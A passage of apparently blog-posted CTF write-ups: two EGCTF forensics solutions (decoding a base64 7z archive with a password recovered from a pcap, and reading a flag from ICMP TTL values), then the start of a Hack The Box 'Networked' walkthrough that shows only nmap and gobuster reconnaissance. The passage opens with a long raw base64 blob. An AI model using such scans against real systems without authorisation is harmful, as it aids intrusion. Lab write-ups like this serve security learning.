9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBkyRnjFUs
9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\nyf/Beb4
/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeTGtte3i
B5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL664u8MM
S6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhwFxLTLi
2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+p8tGr/
TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmLjp4wUx
KMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kDaicX2I
JqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3Z9\na3
HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLKuKWLdu
Ev/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78xGMD6p
E+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw6QeVYk
2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8PuRvNOz8
Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxVvAq25m
xsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQB0AGEA
LgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
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wswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmLjp4wUxKMdnofRW2jTxnsNnRadGguu/EBYf
WSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5
UUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j
nmsF9EZWuULIrg9V3kDaicX2IJqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ
C9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP
XSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3Z9
a3HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm
A9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE
UzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLKuKWLduEv/ZLxMWclnIDWOdZzQ
uriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK
8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR
efISfOWWyCoCmxHkyuP5IrW39G78xGMD6pE+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx
dKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj
z/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI
ZZ2nw6QeVYk2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O
nr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA
gmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8PuRvNOz8Mp3t717KHJ
Otl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7
LI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl
VEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxVvAq25mxsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+
J1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH
AQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5
AGUAZQBfAGQAYQB0AGEALgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=
>>> with open("final.b64","w") as f:
... f.write("N3q8ryccAATIxWF+8AoAAAAAAAB6AAAAAAAAANY3kCg6AWnJIc9uESaH5GfcRZ9lKuuWZ/LK8Hnb\nmS+E+XYT7fZ3Nfq4zT1z+BAI9wL3lV5Jsiv/n2EvBE4vc1+PHg/L6QN9AfNG4KihNI8kLHOy02Cz\nJQzLFdT0Zei85AS3CZGZeRQBS+v/U5HYv7AU6K
67BU5vI+WQn3cVlc8WqbXm9bpqkwnvncy/xsTG\nzoMY03OBXLJUU/2jFsF2DOPI+uP6a3t8k5n2NaJGiRF0PsRXk2blrpTc1IFaIYI3ArmjWTuLVxYD\nohLpRppUt4+S4iOMX4AYXrzPNUL4zwEisXj8zAh4RB+E+y/8nmXXzh0Pvn4aQAfw3ZsM4TWyQLVa\nUosmZu9rUICrUlR
cskmZDD25WukXczXGe6lPwzDozKXmfgErTIPv7vJr57nDJffROYagZoAuW2eb\n3OVaeEfPnESeJHKULhXhfFtbqfVUOeU8TUVcym+47hEg8pTasXdPwbsRfjS+HpAJSAZ2pMtVPhXL\nO2AKQBpw70DoQpgHtk84S+hkbE4RALliYcoEPpQSP9GSSFlOV5wQiD9Xv/GTdQ+Cvx+PUY
YfTAlI\nfyNvE4KgrnV03LqhFN7jKJSPImvz6BlPp/wyu2ar+3qjxFfnivSz8Vzmp+fA69gO6xI1WyMT7SfL\nF0PmjtVSR052JmKwvbrfTrFqaef4PfW5fOedyz4/trqE7+xBHqwKqQf8dFUra87uec/VruMJKbuO\nH0sJSCaURkVBFBre9grg0mlXKmxu88ovko5LOLq+S1A1e7D
ALF6zI9NzEIMp61r0ZISAC5RBir+3\nIk5xI0vJN+yEgFUzDCYkPJG7F8/76K+m/vgas20WxZTAj+6fpZRVQazxvq+f+ZvrXoPnF5eFKvqF\nqlPHOFn1L1urXts61aFTg+4epVK9JxfPx/6q2iA6Gnw2LHGG4ZkviC7FiOd+GF3ysRd25SOuXUit\njkjUmRQoatL1RVQMbyp9KBky
RnjFUs9OWwHOkbYgl4REJ/qGd7HMW4h8FeklkQ5Mjv1Sb/fje9RA\n/KxC+KzXoRqexkSBSoxc48zOTbhuAxyDMG5tw1i5SNoLDqYU+u1MkYzUFv5G7cxrhSnE925Qt49t\nvVYboHky0jbgilGqU3j4tRQS2nSf3AskOrW4Fef2VyZVSJ1QKECoJg6cn7sXgG/5eZvczXAAzsIk\ny
f/Beb4/IFc3EIn0L8inS2Ds5rXUq0EyHaqyXwmR2gi1H8T4i9AHsB4HKFD91ThW/agKel8K2BvW\n0Oawglav/RZx4VtOIAkz/j8wvnE6AvA87mbC+bWSUmpE/3m9FuzG6aeMFrPvFJef6C8tLR5VhXWA\nh7zh52kaDTGlFDLnHmUUl99NmKhMqD6rinO6lMVUN1XnqEnftcAtfMeT
Gtte3iB5/hwziuiGcekZ\nFKxMLhAM1w5OI0XwbMBvMcgDRMcGS7mLLeVqUrrJpv0/AZ50ilbsop5vamOxFslt70rsJrQI4K7r\norGwlzC8oLqKxlfToV69j2bgSutxjZeJ6eIYhWkoWRWZ0qaaRdM1gDOvr6Swuq2Bz3e+UB7QAfc/\n7S8HL8X6SFa14WkQlXbv63ACkhAbFmDL6
64u8MMS6yjukmmBwWILaSjn70HLTSbYYFJFDvsSX4C4\nKxPXprYvHpZYRN7QJ8Z6wh0+8WLGkexFgQ+5gp38ITKw2ZbEpUhyZ7g56pzXzcZ4Ao26imPCPPCM\nkxEjQNb25GazGW1ZeFRBuChEDRGhyHpVBrjHAVEOGHslXDlfiYCBxx4zHAbzl1bY2+JcYPSQysbP\n9Azm8dyjhw
FxLTLi2oijgKt6ebc6yqGkCXYw7Lz35Sv9RlvjxhUDuomszKEx4igGFrfATGZflZWe\neSs/oNSX2hIB3Z+Q/CmF7/iTtL+1/3ppRNfclN6cf6xwkKQDay9+8LW87vHYDdUkyDGebhJVgUEU\nhkVqh84+ybzY8kDeJkYuaNasEHX5QtsEX64RERw38b4dFGxayy2121cHBIvgSy7F+
p8tGr/TAMvk\nS95mq2hCNH+eWAaYbN5KZXCESEMGcRqINziqAwPvtvyltGoshg3ltuZlHLxOZzR8ZkowZSoV5fgo\ng9pSEUGBtBMq2qtDBLlymITFTp3MCFeOb+N+eDgfeFci8hEwnWUjDVoYCgobi48TOb7ABFMXtyiq\nwswb6ISphq0MJTsAq4s2xN7jOC/2axOqojgr7S3hmL
jp4wUxKMdnofRW2jTxnsNnRadGguu/EBYf\nWSHHKKzsdwgJXm+Y0KevgXMn/Pc4qudjB/KHlrVDifWCC/JFMilPhkp4b1AYhryG2qSQTFH0M2l5\nUUYgXSsr1L9Qu512OqpDx4/RRXM8IYilCfwAFz9Ahd7bz4HrJ60WmxJcpkzght6AfPAyg0iI334j\nnmsF9EZWuULIrg9V3kD
aicX2IJqtQmn0jffRWmE3N8PqzO6NlMIMLWfP3C0HImct5iHAoWvkHpIZ\nC9dfbTfUY9SgSfF8kqWyF61NN0m/tuhjc2SDUvHozoOuJrI1ym4zbt/O2keRRBfgeBvo4idO85wP\nXSZnHukci9YTr6Yuegif9ZmU5iPyevxieCGVx8+1LTHHXRdLoTVAKd4pLD0/v/HziHLz6TL2o3
Z9\na3HzhW3On3NM61mDqktNIqlZcEQTjZsw4KcP+EqSETHdb104M1PRxwPnS48DSnsEEOKEJuCULSjm\nA9pwgloS/lQ/OoS9r8jgwNQh3rXwuMeZCCrLSgiTVvVMP8UPH24QMQz3SjVn/K/MkhVQZLh3P8wE\nUzQd/891HbbBwGpuPcnxMXFyJt055EpBNz65f//kV0RHvtqXgLK
uKWLduEv/ZLxMWclnIDWOdZzQ\nuriMG0zHRZeLWNDlUmKf3nzFYQEX/27RW5Iwy/Op/qsAb86/+erv5AA616Wf2EyL2Kl6GaBW0EVK\n8LAr1fdxzV/+D/GaX4xeCbrdv/i49TEelUQ2Ut7hNlmqWo09r+1zZZsHo9jsrfUUQfmvoKZhvFuR\nefISfOWWyCoCmxHkyuP5IrW39G78
xGMD6pE+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw
6QeVYk2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8Pu
RvNOz8Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxV
vAq25mxsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQ
B0AGEALgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
... f.close()
...
>>> exit()
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

After decoding the data I used file to check the type of the new file, it was a 7z archive:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# base64 -d final.b64 > final.decoded
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# file final.decoded
final.decoded: 7-zip archive data, version 0.4
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I tried to extract it, but it was password protected:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded                                                                                                                                        

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
ERROR: Data Error in encrypted file. Wrong password? : employee_data.txt

Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I checked the network capture again and found an HTTP request to a file called key.txt:


The response was a base-64 encoded string so I decoded it then I used the result as a password:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# echo dGghc2MwbXBsZXhwQHNzdzByZA | base64 -d
[email protected]: invalid input
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#
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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Size: 17612
Compressed: 2954
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

And finally I got the flag:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# grep EGCTF ./employee_data.txt 
| 154 | Nanette | Cambrault | NCAMBRAU | EGCTF{04ebc6f21584ef9dd240190de62c493c} | 1987-08-10 | SA_REP | 7500.00 | 0.20 | 145 | 80 |
[email protected]:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Forensics: Secret Agent

Challenge Description:

1
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us?

Solution

We’re given a pcapng file called SecretMessage.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of ICMP requests with weird ttlnumbers:

These numbers were ASCII characters codes, I tried decoding the first 5 ones and I got EGCTF:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print chr(69)
E
>>> print chr(71)
G
>>> print chr(67)
C
>>> print chr(84)
T
>>> print chr(70)
F
>>>

Doing it manually will take some time so I exported the ICMP packets as a txt:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets
No. Time Source Destination Protocol Length Info
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)

Frame 4606: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: Vmware_44:51:4f (00:0c:29:44:51:4f), Dst: Vmware_86:2b:43 (00:0c:29:86:2b:43)
Internet Protocol Version 4, Src: 192.168.125.138, Dst: 192.168.125.143
Internet Control Message Protocol
---
No. Time Source Destination Protocol Length Info
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)

Frame 4748: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
Ethernet II, Src: Vmware_86:2b:43 (00:0c:29:86:2b:43), Dst: Vmware_44:51:4f (00:0c:29:44:51:4f)
Internet Protocol Version 4, Src: 192.168.125.143, Dst: 192.168.125.138
Internet Control Message Protocol
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used grep to get only the lines with ttl:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep "ttl"
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)
4607 106.914430466 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4606)
---
4747 110.022313975 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=125 (reply in 4748)
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

Then by using cut I got the ttl numbers only:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1
69
128
71
128
---
95
128
125
128
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

We don’t need 128 because that’s the ttl number from the response packets so we’ll remove it by piping to grep -v "128", then finally will use echo -n on the output to produce a single line output:

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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# echo -n `cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1 | grep -v "128"`
69 71 67 84 70 123 89 48 117 95 71 48 84 95 116 104 101 95 70 76 64 103 95 84 84 76 95 109 64 110 105 112 117 108 97 116 105 111 110 95 33 115 95 65 119 101 115 48 109 101 95 67 48 110 103 114 64 116 117 108 114 97 116 105 111 110 95 95 125
[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used the ASCII code tool from dcode.fr to decode the flag:

That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Hack The Box - Networked

16 November 2019 at 03:00

Hack The Box - Networked

Quick Summary

Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

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[email protected]:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET
Nmap scan report for networked.htb (10.10.10.146)
Host is up (1.7s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds
[email protected]:~/Desktop/HTB/boxes/networked#

We got ssh on port 22 and http on port 80, let’s check the web service.

Web Enumeration

The index page had nothing except for this message:

So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:

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[email protected]:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt                                                                                                

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://networked.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 01:21:45 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
